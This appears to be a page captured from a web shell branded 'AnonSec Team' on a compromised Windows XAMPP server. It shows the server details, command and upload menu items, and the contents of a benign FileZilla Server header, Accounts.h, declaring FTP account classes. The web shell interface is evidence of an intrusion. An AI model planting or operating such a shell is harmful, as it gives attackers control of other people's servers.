AnonSec Team
Server IP : 127.0.0.1  /  Your IP : 127.0.0.1
Web Server : Apache/2.4.10 (Win32) OpenSSL/1.0.1i PHP/5.6.3
System : Windows NT WIN-R7LTCC7BPLI 6.3 build 9200 (Windows Server 2012 R2 Datacenter Edition) i586
User : GerbangSIPAD ( 0)
PHP Version : 5.6.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF
Directory (0777) :  C:/xampp5/FileZillaFTP/source/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : C:/xampp5/FileZillaFTP/source/Accounts.h
#ifndef ACCOUNTS_H_INCLUDED
#define ACCOUNTS_H_INCLUDED

#ifdef _AFX
#define CStdString CString
#define CStdStringW CStringW
#define CStdStringA CStringA
#endif //_AFX

#include "SpeedLimit.h"

class t_directory
{
public:
	t_directory();
#ifdef SERVICE
	CStdString dir;
	std::list<CStdString> aliases;
#else
	CStdString dir;
	std::list<CStdString> aliases;
#endif
	BOOL bFileRead, bFileWrite, bFileDelete, bFileAppend;
	BOOL bDirCreate, bDirDelete, bDirList, bDirSubdirs, bIsHome;
	BOOL bAutoCreate;
};

enum sltype
{
	download = 0,
	upload = 1
};

class t_group
{
public:
	t_group();

	virtual int GetRequiredBufferLen() const;
	virtual int GetRequiredStringBufferLen(const CStdString& str) const;
	virtual char * FillBuffer(char *p) const;
	virtual void FillString(char *&p, const CStdString& str) const;
	virtual unsigned char * ParseBuffer(unsigned char *pBuffer, int length);

	virtual bool BypassUserLimit() const;
	virtual int GetUserLimit() const;
	virtual int GetIpLimit() const;
	virtual bool IsEnabled() const;
	virtual bool ForceSsl() const;

	virtual int GetCurrentSpeedLimit(sltype type) const;
	virtual bool BypassServerSpeedLimit(sltype type) const;

	bool AccessAllowed(const CStdString& ip) const;

	virtual t_group& t_group::operator=(const t_group &a);

	CStdString group;
	std::vector<t_directory> permissions;
	int nBypassUserLimit;
	int nUserLimit, nIpLimit;
	int nEnabled;
	int forceSsl;

	int nSpeedLimitType[2];
	int nSpeedLimit[2];
	SPEEDLIMITSLIST SpeedLimits[2];
	int nBypassServerSpeedLimit[2];
	
	std::list<CStdString> allowedIPs, disallowedIPs;

	CStdString comment;

	t_group *pOwner;

protected:
	bool ParseString(const unsigned char* endMarker, unsigned char *&p, CStdString &string);
};

class t_user : public t_group
{
public:
	t_user();

	virtual int GetRequiredBufferLen() const;
	virtual char * FillBuffer(char *p) const;
	virtual unsigned char * ParseBuffer(unsigned char *pBuffer, int length);

	virtual t_user& t_user::operator=(const t_user &a);

	CStdString user;
	CStdString password;
};

#endif //#define ACCOUNTS_H_INCLUDED

AnonSec - 2021